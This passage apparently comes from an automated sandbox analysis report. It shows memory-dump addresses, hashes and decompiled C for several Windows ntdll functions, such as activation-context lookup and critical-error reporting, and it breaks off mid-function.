0x0469d302
0x0469d303
0x0469d30b
0x0469d30f
0x0469d313
0x0469d318
0x0469d31c
0x0469d320
0x0469d379
0x0469d37d
0x00000000
0x00000000
0x046daffe
0x046db001
0x046db011
0x00000000
0x0469d322
0x0469d322
0x0469d330
0x0469d337
0x0469d35d
0x0469d339
0x0469d33f
0x0469d38c
0x0469d38c
0x0469d33f
0x0469d349
0x00000000
0x0469d349

Strings

@, xrefs: 0469D303

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: a6fbcb3c5abac3814d2908f90e7960dbdc8a85dd748f2b9a31811f58314c3847
Instruction ID: ed9a247a810a2739bc35f9e23364a8b4e8ae083dd00ed3e992485d7f6a77f581
Opcode Fuzzy Hash: a6fbcb3c5abac3814d2908f90e7960dbdc8a85dd748f2b9a31811f58314c3847
Instruction Fuzzy Hash: D83170B16087059FD711DF28C98096BBBECEB96754F000A3EF99483210F679ED05DB92

Uniqueness

Uniqueness Score: -1.00%

Function 04671B8F, Relevance: 1.3, Strings: 1, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E04671B8F(void* __ecx, intOrPtr __edx, intOrPtr* _a4, signed int* _a8) {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _t26;
				intOrPtr _t29;
				void* _t30;
				signed int _t31;

				_t27 = __ecx;
				_t29 = __edx;
				_t31 = 0;
				_v8 = __edx;
				if(__edx == 0) {
					L18:
					_t30 = 0xc000000d;
					goto L12;
				} else {
					_t26 = _a4;
					if(_t26 == 0 || _a8 == 0 || __ecx == 0) {
						goto L18;
					} else {
						E046ABB40(__ecx,  &_v16, __ecx);
						_push(_t26);
						_push(0);
						_push(0);
						_push(_t29);
						_push( &_v16);
						_t30 = E046AA9B0();
						if(_t30 >= 0) {
							_t19 =  *_t26;
							if( *_t26 != 0) {
								goto L7;
							} else {
								 *_a8 =  *_a8 & 0;
							}
						} else {
							if(_t30 != 0xc0000023) {
								L9:
								_push(_t26);
								_push( *_t26);
								_push(_t31);
								_push(_v8);
								_push( &_v16);
								_t30 = E046AA9B0();
								if(_t30 < 0) {
									L12:
									if(_t31 != 0) {
										L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t31);
									}
								} else {
									 *_a8 = _t31;
								}
							} else {
								_t19 =  *_t26;
								if( *_t26 == 0) {
									_t31 = 0;
								} else {
									L7:
									_t31 = L04684620(_t27,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t19);
								}
								if(_t31 == 0) {
									_t30 = 0xc0000017;
								} else {
									goto L9;
								}
							}
						}
					}
				}
				return _t30;
			}

0x04671b8f
0x04671b9a
0x04671b9c
0x04671b9e
0x04671ba3
0x046c7010
0x046c7010
0x00000000
0x04671ba9
0x04671ba9
0x04671bae
0x00000000
0x04671bc5
0x04671bca
0x04671bcf
0x04671bd0
0x04671bd1
0x04671bd2
0x04671bd6
0x04671bdc
0x04671be0
0x046c6ffc
0x046c7000
0x00000000
0x046c7006
0x046c7009
0x046c7009
0x04671be6
0x04671bec
0x04671c0b
0x04671c0b
0x04671c0c
0x04671c11
0x04671c12
0x04671c15
0x04671c1b
0x04671c1f
0x04671c31
0x04671c33
0x046c7026
0x046c7026
0x04671c21
0x04671c24
0x04671c24
0x04671bee
0x04671bee
0x04671bf2
0x04671c3a
0x04671bf4
0x04671bf4
0x04671c05
0x04671c05
0x04671c09
0x04671c3e
0x00000000
0x00000000
0x00000000
0x04671c09
0x04671bec
0x04671be0
0x04671bae
0x04671c2e

Strings

WindowsExcludedProcs, xrefs: 04671BC5

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: WindowsExcludedProcs
API String ID: 0-3583428290
Opcode ID: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction ID: 0c602db21994d61c79ecdf6b3bec9226324ab99d3b5c751fd7be69ad99f81d77
Opcode Fuzzy Hash: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction Fuzzy Hash: 7C21F8B6600529ABDB21DED5C840FAB7BADEF52B55F05442AF9049B300F634FD01EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0468F716, Relevance: 1.3, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0468F716(signed int __ecx, void* __edx, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _t13;
				intOrPtr _t14;
				signed int _t16;
				signed char _t17;
				intOrPtr _t19;
				intOrPtr _t21;
				intOrPtr _t23;
				intOrPtr* _t25;

				_t25 = _a8;
				_t17 = __ecx;
				if(_t25 == 0) {
					_t19 = 0xc00000f2;
					L8:
					return _t19;
				}
				if((__ecx & 0xfffffffe) != 0) {
					_t19 = 0xc00000ef;
					goto L8;
				}
				_t19 = 0;
				 *_t25 = 0;
				_t21 = 0;
				_t23 = "Actx ";
				if(__edx != 0) {
					if(__edx == 0xfffffffc) {
						L21:
						_t21 = 0x200;
						L5:
						_t13 =  *((intOrPtr*)( *[fs:0x30] + _t21));
						 *_t25 = _t13;
						L6:
						if(_t13 == 0) {
							if((_t17 & 0x00000001) != 0) {
								 *_t25 = _t23;
							}
						}
						L7:
						goto L8;
					}
					if(__edx == 0xfffffffd) {
						 *_t25 = _t23;
						_t13 = _t23;
						goto L6;
					}
					_t13 =  *((intOrPtr*)(__edx + 0x10));
					 *_t25 = _t13;
					L14:
					if(_t21 == 0) {
						goto L6;
					}
					goto L5;
				}
				_t14 = _a4;
				if(_t14 != 0) {
					_t16 =  *(_t14 + 0x14) & 0x00000007;
					if(_t16 <= 1) {
						_t21 = 0x1f8;
						_t13 = 0;
						goto L14;
					}
					if(_t16 == 2) {
						goto L21;
					}
					if(_t16 != 4) {
						_t19 = 0xc00000f0;
						goto L7;
					}
					_t13 = 0;
					goto L6;
				} else {
					_t21 = 0x1f8;
					goto L5;
				}
			}

0x0468f71d
0x0468f722
0x0468f726
0x046d4770
0x0468f765
0x0468f769
0x0468f769
0x0468f732
0x046d477a
0x00000000
0x046d477a
0x0468f738
0x0468f73a
0x0468f73c
0x0468f73f
0x0468f746
0x0468f778
0x0468f7a9
0x0468f7a9
0x0468f754
0x0468f75a
0x0468f75d
0x0468f75f
0x0468f761
0x0468f76f
0x0468f771
0x0468f771
0x0468f76f
0x0468f763
0x00000000
0x0468f763
0x0468f77d
0x0468f7a3
0x0468f7a5
0x00000000
0x0468f7a5
0x0468f77f
0x0468f782
0x0468f784
0x0468f786
0x00000000
0x00000000
0x00000000
0x0468f788
0x0468f748
0x0468f74d
0x0468f78d
0x0468f793
0x0468f7b7
0x0468f7bc
0x00000000
0x0468f7bc
0x0468f798
0x00000000
0x00000000
0x0468f79d
0x0468f7b0
0x00000000
0x0468f7b0
0x0468f79f
0x00000000
0x0468f74f
0x0468f74f
0x00000000
0x0468f74f

Strings

Actx , xrefs: 0468F73F

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Actx
API String ID: 0-89312691
Opcode ID: 9666408d17879803e965764ff8c151ac02182e72bef372a9002d6465755bcafd
Instruction ID: 858946405e104a53cc1e85575103a6d14d1c33afc50c6d351bff814e01634100
Opcode Fuzzy Hash: 9666408d17879803e965764ff8c151ac02182e72bef372a9002d6465755bcafd
Instruction Fuzzy Hash: B211B2357086028BFB2C6E1DA89073673D5EBA6724F24472EE562DB391FB74F8428340

Uniqueness

Uniqueness Score: -1.00%

Function 04718DF1, Relevance: 1.3, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E04718DF1(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				void* _t41;

				_t40 = __esi;
				_t39 = __edi;
				_t38 = __edx;
				_t35 = __ecx;
				_t34 = __ebx;
				_push(0x74);
				_push(0x4740d50);
				E046BD0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t41 - 0x7c)) = __edx;
				 *((intOrPtr*)(_t41 - 0x74)) = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 2)) != 0 || ( *0x7ffe02d4 & 0 | ( *0x7ffe02d4 & 0x00000003) == 0x00000003) != 0) {
					E046F5720(0x65, 0, "Critical error detected %lx\n", _t35);
					if( *((intOrPtr*)(_t41 + 8)) != 0) {
						 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
						asm("int3");
						 *(_t41 - 4) = 0xfffffffe;
					}
				}
				 *(_t41 - 4) = 1;
				 *((intOrPtr*)(_t41 - 0x70)) =  *((intOrPtr*)(_t41 - 0x74));
				 *((intOrPtr*)(_t41 - 0x6c)) = 1;
				 *(_t41 - 0x68) =  *(_t41 - 0x68) & 0x00000000;
				 *((intOrPtr*)(_t41 - 0x64)) = L046BDEF0;
				 *((intOrPtr*)(_t41 - 0x60)) = 1;
				 *((intOrPtr*)(_t41 - 0x5c)) =  *((intOrPtr*)(_t41 - 0x7c));
				_push(_t41 - 0x70);
				L046BDEF0(1, _t38);
				 *(_t41 - 4) = 0xfffffffe;
				return E046BD130(_t34, _t39, _t40);
			}

0x04718df1
0x04718df1
0x04718df1
0x04718df1
0x04718df1
0x04718df1
0x04718df3
0x04718df8
0x04718dfd
0x04718e00
0x04718e0e
0x04718e2a
0x04718e36
0x04718e38
0x04718e3c
0x04718e46
0x04718e46
0x04718e36
0x04718e50
0x04718e56
0x04718e59
0x04718e5c
0x04718e60
0x04718e67
0x04718e6d
0x04718e73
0x04718e74
0x04718eb1
0x04718ebd

Strings

Critical error detected %lx, xrefs: 04718E21

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Critical error detected %lx
API String ID: 0-802127002
Opcode ID: 12472d638764322732280363370548355bcd3372bf242d5a0428fa93f3d12015
Instruction ID: d9d2c66394ff565ac210891d5394fc630e7564a86526659d92ac44ea4f2b18df
Opcode Fuzzy Hash: 12472d638764322732280363370548355bcd3372bf242d5a0428fa93f3d12015
Instruction Fuzzy Hash: AA117971D14348EBEB24DFB889457DDBBB0AB04314F24422DD569AB3A2E3306606CF19

Uniqueness

Uniqueness Score: -1.00%

Function 046FFF10, Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 046FFF60

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
API String ID: 0-1911121157
Opcode ID: b50598d62ac2f2f53e4ec3595d4ef44cb7c2967157213be6cec00e661d042ba8
Instruction ID: 4a30c64e775f2222e369cb93dc4f36aaa4000c4ea40d6fc2004ac8b33626dfb0
Opcode Fuzzy Hash: b50598d62ac2f2f53e4ec3595d4ef44cb7c2967157213be6cec00e661d042ba8
Instruction Fuzzy Hash: 82110471911244EFEB26DF50CD48FD87BB1FF04718F148058E6486B2A1E779B980CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04735BA5, Relevance: .6, Instructions: 592
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E04735BA5(void* __ebx, signed char __ecx, signed int* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t296;
				signed char _t298;
				signed int _t301;
				signed int _t306;
				signed int _t310;
				signed char _t311;
				intOrPtr _t312;
				signed int _t313;
				void* _t327;
				signed int _t328;
				intOrPtr _t329;
				intOrPtr _t333;
				signed char _t334;
				signed int _t336;
				void* _t339;
				signed int _t340;
				signed int _t356;
				signed int _t362;
				short _t367;
				short _t368;
				short _t373;
				signed int _t380;
				void* _t382;
				short _t385;
				signed short _t392;
				signed char _t393;
				signed int _t395;
				signed char _t397;
				signed int _t398;
				signed short _t402;
				void* _t406;
				signed int _t412;
				signed char _t414;
				signed short _t416;
				signed int _t421;
				signed char _t427;
				intOrPtr _t434;
				signed char _t435;
				signed int _t436;
				signed int _t442;
				signed int _t446;
				signed int _t447;
				signed int _t451;
				signed int _t453;
				signed int _t454;
				signed int _t455;
				intOrPtr _t456;
				intOrPtr* _t457;
				short _t458;
				signed short _t462;
				signed int _t469;
				intOrPtr* _t474;
				signed int _t475;
				signed int _t479;
				signed int _t480;
				signed int _t481;
				short _t485;
				signed int _t491;
				signed int* _t494;
				signed int _t498;
				signed int _t505;
				intOrPtr _t506;
				signed short _t508;
				signed int _t511;
				void* _t517;
				signed int _t519;
				signed int _t522;
				void* _t523;
				signed int _t524;
				void* _t528;
				signed int _t529;

				_push(0xd4);
				_push(0x4741178);
				E046BD0E8(__ebx, __edi, __esi);
				_t494 = __edx;
				 *(_t528 - 0xcc) = __edx;
				_t511 = __ecx;
				 *((intOrPtr*)(_t528 - 0xb4)) = __ecx;
				 *(_t528 - 0xbc) = __ecx;
				 *((intOrPtr*)(_t528 - 0xc8)) =  *((intOrPtr*)(_t528 + 0x20));
				_t434 =  *((intOrPtr*)(_t528 + 0x24));
				 *((intOrPtr*)(_t528 - 0xc4)) = _t434;
				_t427 = 0;
				 *(_t528 - 0x74) = 0;
				 *(_t528 - 0x9c) = 0;
				 *(_t528 - 0x84) = 0;
				 *(_t528 - 0xac) = 0;
				 *(_t528 - 0x88) = 0;
				 *(_t528 - 0xa8) = 0;
				 *((intOrPtr*)(_t434 + 0x40)) = 0;
				if( *(_t528 + 0x1c) <= 0x80) {
					__eflags =  *(__ecx + 0xc0) & 0x00000004;
					if(__eflags != 0) {
						_t421 = E04734C56(0, __edx, __ecx, __eflags);
						__eflags = _t421;
						if(_t421 != 0) {
							 *((intOrPtr*)(_t528 - 4)) = 0;
							E046AD000(0x410);
							 *(_t528 - 0x18) = _t529;
							 *(_t528 - 0x9c) = _t529;
							 *((intOrPtr*)(_t528 - 4)) = 0xfffffffe;
							E04735542(_t528 - 0x9c, _t528 - 0x84);
						}
					}
					_t435 = _t427;
					 *(_t528 - 0xd0) = _t435;
					_t474 = _t511 + 0x65;
					 *((intOrPtr*)(_t528 - 0x94)) = _t474;
					_t511 = 0x18;
					while(1) {
						 *(_t528 - 0xa0) = _t427;
						 *(_t528 - 0xbc) = _t427;
						 *(_t528 - 0x80) = _t427;
						 *(_t528 - 0x78) = 0x50;
						 *(_t528 - 0x79) = _t427;
						 *(_t528 - 0x7a) = _t427;
						 *(_t528 - 0x8c) = _t427;
						 *(_t528 - 0x98) = _t427;
						 *(_t528 - 0x90) = _t427;
						 *(_t528 - 0xb0) = _t427;
						 *(_t528 - 0xb8) = _t427;
						_t296 = 1 << _t435;
						_t436 =  *(_t528 + 0xc) & 0x0000ffff;
						__eflags = _t436 & _t296;
						if((_t436 & _t296) != 0) {
							goto L92;
						}
						__eflags =  *((char*)(_t474 - 1));
						if( *((char*)(_t474 - 1)) == 0) {
							goto L92;
						}
						_t301 =  *_t474;
						__eflags = _t494[1] - _t301;
						if(_t494[1] <= _t301) {
							L10:
							__eflags =  *(_t474 - 5) & 0x00000040;
							if(( *(_t474 - 5) & 0x00000040) == 0) {
								L12:
								__eflags =  *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3];
								if(( *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3]) == 0) {
									goto L92;
								}
								_t442 =  *(_t474 - 0x11) & _t494[3];
								__eflags = ( *(_t474 - 0x15) & _t494[2]) -  *(_t474 - 0x15);
								if(( *(_t474 - 0x15) & _t494[2]) !=  *(_t474 - 0x15)) {
									goto L92;
								}
								__eflags = _t442 -  *(_t474 - 0x11);
								if(_t442 !=  *(_t474 - 0x11)) {
									goto L92;
								}
								L15:
								_t306 =  *(_t474 + 1) & 0x000000ff;
								 *(_t528 - 0xc0) = _t306;
								 *(_t528 - 0xa4) = _t306;
								__eflags =  *0x47560e8;
								if( *0x47560e8 != 0) {
									__eflags = _t306 - 0x40;
									if(_t306 < 0x40) {
										L20:
										asm("lock inc dword [eax]");
										_t310 =  *0x47560e8; // 0x0
										_t311 =  *(_t310 +  *(_t528 - 0xa4) * 8);
										__eflags = _t311 & 0x00000001;
										if((_t311 & 0x00000001) == 0) {
											 *(_t528 - 0xa0) = _t311;
											_t475 = _t427;
											 *(_t528 - 0x74) = _t427;
											__eflags = _t475;
											if(_t475 != 0) {
												L91:
												_t474 =  *((intOrPtr*)(_t528 - 0x94));
												goto L92;
											}
											asm("sbb edi, edi");
											_t498 = ( ~( *(_t528 + 0x18)) & _t511) + 0x50;
											_t511 = _t498;
											_t312 =  *((intOrPtr*)(_t528 - 0x94));
											__eflags =  *(_t312 - 5) & 1;
											if(( *(_t312 - 5) & 1) != 0) {
												_push(_t528 - 0x98);
												_push(0x4c);
												_push(_t528 - 0x70);
												_push(1);
												_push(0xfffffffa);
												_t412 = E046A9710();
												_t475 = _t427;
												__eflags = _t412;
												if(_t412 >= 0) {
													_t414 =  *(_t528 - 0x98) - 8;
													 *(_t528 - 0x98) = _t414;
													_t416 = _t414 + 0x0000000f & 0x0000fff8;
													 *(_t528 - 0x8c) = _t416;
													 *(_t528 - 0x79) = 1;
													_t511 = (_t416 & 0x0000ffff) + _t498;
													__eflags = _t511;
												}
											}
											_t446 =  *( *((intOrPtr*)(_t528 - 0x94)) - 5);
											__eflags = _t446 & 0x00000004;
											if((_t446 & 0x00000004) != 0) {
												__eflags =  *(_t528 - 0x9c);
												if( *(_t528 - 0x9c) != 0) {
													 *(_t528 - 0x7a) = 1;
													_t511 = _t511 + ( *(_t528 - 0x84) & 0x0000ffff);
													__eflags = _t511;
												}
											}
											_t313 = 2;
											_t447 = _t446 & _t313;
											__eflags = _t447;
											 *(_t528 - 0xd4) = _t447;
											if(_t447 != 0) {
												_t406 = 0x10;
												_t511 = _t511 + _t406;
												__eflags = _t511;
											}
											_t494 = ( *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) << 4) +  *((intOrPtr*)(_t528 - 0xc4));
											 *(_t528 - 0x88) = _t427;
											__eflags =  *(_t528 + 0x1c);
											if( *(_t528 + 0x1c) <= 0) {
												L45:
												__eflags =  *(_t528 - 0xb0);
												if( *(_t528 - 0xb0) != 0) {
													_t511 = _t511 + (( *(_t528 - 0x90) & 0x0000ffff) + 0x0000000f & 0xfffffff8);
													__eflags = _t511;
												}
												__eflags = _t475;
												if(_t475 != 0) {
													asm("lock dec dword [ecx+edx*8+0x4]");
													goto L100;
												} else {
													_t494[3] = _t511;
													_t451 =  *(_t528 - 0xa0);
													_t427 = E046A6DE6(_t451, _t511,  *( *[fs:0x18] + 0xf77) & 0x000000ff, _t528 - 0xe0, _t528 - 0xbc);
													 *(_t528 - 0x88) = _t427;
													__eflags = _t427;
													if(_t427 == 0) {
														__eflags = _t511 - 0xfff8;
														if(_t511 <= 0xfff8) {
															__eflags =  *((intOrPtr*)( *(_t528 - 0xa0) + 0x90)) - _t511;
															asm("sbb ecx, ecx");
															__eflags = (_t451 & 0x000000e2) + 8;
														}
														asm("lock dec dword [eax+edx*8+0x4]");
														L100:
														goto L101;
													}
													_t453 =  *(_t528 - 0xa0);
													 *_t494 = _t453;
													_t494[1] = _t427;
													_t494[2] =  *(_t528 - 0xbc);
													 *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) =  *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) + 1;
													 *_t427 =  *(_t453 + 0x24) | _t511;
													 *(_t427 + 4) =  *((intOrPtr*)(_t528 + 0x10));
													 *((short*)(_t427 + 6)) =  *((intOrPtr*)(_t528 + 8));
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x14);
													if( *(_t528 + 0x14) == 0) {
														__eflags =  *[fs:0x18] + 0xf50;
													}
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x18);
													if( *(_t528 + 0x18) == 0) {
														_t454 =  *(_t528 - 0x80);
														_t479 =  *(_t528 - 0x78);
														_t327 = 1;
														__eflags = 1;
													} else {
														_t146 = _t427 + 0x50; // 0x50
														_t454 = _t146;
														 *(_t528 - 0x80) = _t454;
														_t382 = 0x18;
														 *_t454 = _t382;
														 *((short*)(_t454 + 2)) = 1;
														_t385 = 0x10;
														 *((short*)(_t454 + 6)) = _t385;
														 *(_t454 + 4) = 0;
														asm("movsd");
														asm("movsd");
														asm("movsd");
														asm("movsd");
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = 0x68;
														 *(_t528 - 0x78) = _t479;
													}
													__eflags =  *(_t528 - 0x79) - _t327;
													if( *(_t528 - 0x79) == _t327) {
														_t524 = _t479 + _t427;
														_t508 =  *(_t528 - 0x8c);
														 *_t524 = _t508;
														_t373 = 2;
														 *((short*)(_t524 + 2)) = _t373;
														 *((short*)(_t524 + 6)) =  *(_t528 - 0x98);
														 *((short*)(_t524 + 4)) = 0;
														_t167 = _t524 + 8; // 0x8
														E046AF3E0(_t167, _t528 - 0x68,  *(_t528 - 0x98));
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + (_t508 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t380 =  *(_t528 - 0x80);
														__eflags = _t380;
														if(_t380 != 0) {
															_t173 = _t380 + 4;
															 *_t173 =  *(_t380 + 4) | 1;
															__eflags =  *_t173;
														}
														_t454 = _t524;
														 *(_t528 - 0x80) = _t454;
														_t327 = 1;
														__eflags = 1;
													}
													__eflags =  *(_t528 - 0xd4);
													if( *(_t528 - 0xd4) == 0) {
														_t505 =  *(_t528 - 0x80);
													} else {
														_t505 = _t479 + _t427;
														_t523 = 0x10;
														 *_t505 = _t523;
														_t367 = 3;
														 *((short*)(_t505 + 2)) = _t367;
														_t368 = 4;
														 *((short*)(_t505 + 6)) = _t368;
														 *(_t505 + 4) = 0;
														 *((intOrPtr*)(_t505 + 8)) =  *((intOrPtr*)( *[fs:0x30] + 0x1d4));
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = _t479 + _t523;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t454;
														if(_t454 != 0) {
															_t186 = _t454 + 4;
															 *_t186 =  *(_t454 + 4) | 1;
															__eflags =  *_t186;
														}
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0x7a) - _t327;
													if( *(_t528 - 0x7a) == _t327) {
														 *(_t528 - 0xd4) = _t479 + _t427;
														_t522 =  *(_t528 - 0x84) & 0x0000ffff;
														E046AF3E0(_t479 + _t427,  *(_t528 - 0x9c), _t522);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + _t522;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t199 = _t505 + 4;
															 *_t199 =  *(_t505 + 4) | 1;
															__eflags =  *_t199;
														}
														_t505 =  *(_t528 - 0xd4);
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0xa8);
													if( *(_t528 - 0xa8) != 0) {
														_t356 = _t479 + _t427;
														 *(_t528 - 0xd4) = _t356;
														_t462 =  *(_t528 - 0xac);
														 *_t356 = _t462 + 0x0000000f & 0x0000fff8;
														_t485 = 0xc;
														 *((short*)(_t356 + 2)) = _t485;
														 *(_t356 + 6) = _t462;
														 *((short*)(_t356 + 4)) = 0;
														_t211 = _t356 + 8; // 0x9
														E046AF3E0(_t211,  *(_t528 - 0xa8), _t462 & 0x0000ffff);
														E046AFA60((_t462 & 0x0000ffff) + _t211, 0, (_t462 + 0x0000000f & 0x0000fff8) -  *(_t528 - 0xac) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0x18;
														_t427 =  *(_t528 - 0x88);
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t505 =  *(_t528 - 0xd4);
														_t479 =  *(_t528 - 0x78) + ( *_t505 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t362 =  *(_t528 - 0x80);
														__eflags = _t362;
														if(_t362 != 0) {
															_t222 = _t362 + 4;
															 *_t222 =  *(_t362 + 4) | 1;
															__eflags =  *_t222;
														}
													}
													__eflags =  *(_t528 - 0xb0);
													if( *(_t528 - 0xb0) != 0) {
														 *(_t479 + _t427) =  *(_t528 - 0x90) + 0x0000000f & 0x0000fff8;
														_t458 = 0xb;
														 *((short*)(_t479 + _t427 + 2)) = _t458;
														 *((short*)(_t479 + _t427 + 6)) =  *(_t528 - 0x90);
														 *((short*)(_t427 + 4 + _t479)) = 0;
														 *(_t528 - 0xb8) = _t479 + 8 + _t427;
														E046AFA60(( *(_t528 - 0x90) & 0x0000ffff) + _t479 + 8 + _t427, 0, ( *(_t528 - 0x90) + 0x0000000f & 0x0000fff8) -  *(_t528 - 0x90) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + ( *( *(_t528 - 0x78) + _t427) & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t241 = _t505 + 4;
															 *_t241 =  *(_t505 + 4) | 1;
															__eflags =  *_t241;
														}
													}
													_t328 =  *(_t528 + 0x1c);
													__eflags = _t328;
													if(_t328 == 0) {
														L87:
														_t329 =  *((intOrPtr*)(_t528 - 0xe0));
														 *((intOrPtr*)(_t427 + 0x10)) = _t329;
														_t455 =  *(_t528 - 0xdc);
														 *(_t427 + 0x14) = _t455;
														_t480 =  *(_t528 - 0xa0);
														_t517 = 3;
														__eflags =  *((intOrPtr*)(_t480 + 0x10)) - _t517;
														if( *((intOrPtr*)(_t480 + 0x10)) != _t517) {
															asm("rdtsc");
															 *(_t427 + 0x3c) = _t480;
														} else {
															 *(_t427 + 0x3c) = _t455;
														}
														 *((intOrPtr*)(_t427 + 0x38)) = _t329;
														_t456 =  *[fs:0x18];
														 *((intOrPtr*)(_t427 + 8)) =  *((intOrPtr*)(_t456 + 0x24));
														 *((intOrPtr*)(_t427 + 0xc)) =  *((intOrPtr*)(_t456 + 0x20));
														_t427 = 0;
														__eflags = 0;
														_t511 = 0x18;
														goto L91;
													} else {
														_t519 =  *((intOrPtr*)(_t528 - 0xc8)) + 0xc;
														__eflags = _t519;
														 *(_t528 - 0x8c) = _t328;
														do {
															_t506 =  *((intOrPtr*)(_t519 - 4));
															_t457 =  *((intOrPtr*)(_t519 - 0xc));
															 *(_t528 - 0xd4) =  *(_t519 - 8);
															_t333 =  *((intOrPtr*)(_t528 - 0xb4));
															__eflags =  *(_t333 + 0x36) & 0x00004000;
															if(( *(_t333 + 0x36) & 0x00004000) != 0) {
																_t334 =  *_t519;
															} else {
																_t334 = 0;
															}
															_t336 = _t334 & 0x000000ff;
															__eflags = _t336;
															_t427 =  *(_t528 - 0x88);
															if(_t336 == 0) {
																_t481 = _t479 + _t506;
																__eflags = _t481;
																 *(_t528 - 0x78) = _t481;
																E046AF3E0(_t479 + _t427, _t457, _t506);
																_t529 = _t529 + 0xc;
															} else {
																_t340 = _t336 - 1;
																__eflags = _t340;
																if(_t340 == 0) {
																	E046AF3E0( *(_t528 - 0xb8), _t457, _t506);
																	_t529 = _t529 + 0xc;
																	 *(_t528 - 0xb8) =  *(_t528 - 0xb8) + _t506;
																} else {
																	__eflags = _t340 == 0;
																	if(_t340 == 0) {
																		__eflags = _t506 - 8;
																		if(_t506 == 8) {
																			 *((intOrPtr*)(_t528 - 0xe0)) =  *_t457;
																			 *(_t528 - 0xdc) =  *(_t457 + 4);
																		}
																	}
																}
															}
															_t339 = 0x10;
															_t519 = _t519 + _t339;
															_t263 = _t528 - 0x8c;
															 *_t263 =  *(_t528 - 0x8c) - 1;
															__eflags =  *_t263;
															_t479 =  *(_t528 - 0x78);
														} while ( *_t263 != 0);
														goto L87;
													}
												}
											} else {
												_t392 =  *( *((intOrPtr*)(_t528 - 0xb4)) + 0x36) & 0x00004000;
												 *(_t528 - 0xa2) = _t392;
												_t469 =  *((intOrPtr*)(_t528 - 0xc8)) + 8;
												__eflags = _t469;
												while(1) {
													 *(_t528 - 0xe4) = _t511;
													__eflags = _t392;
													_t393 = _t427;
													if(_t392 != 0) {
														_t393 =  *((intOrPtr*)(_t469 + 4));
													}
													_t395 = (_t393 & 0x000000ff) - _t427;
													__eflags = _t395;
													if(_t395 == 0) {
														_t511 = _t511 +  *_t469;
														__eflags = _t511;
													} else {
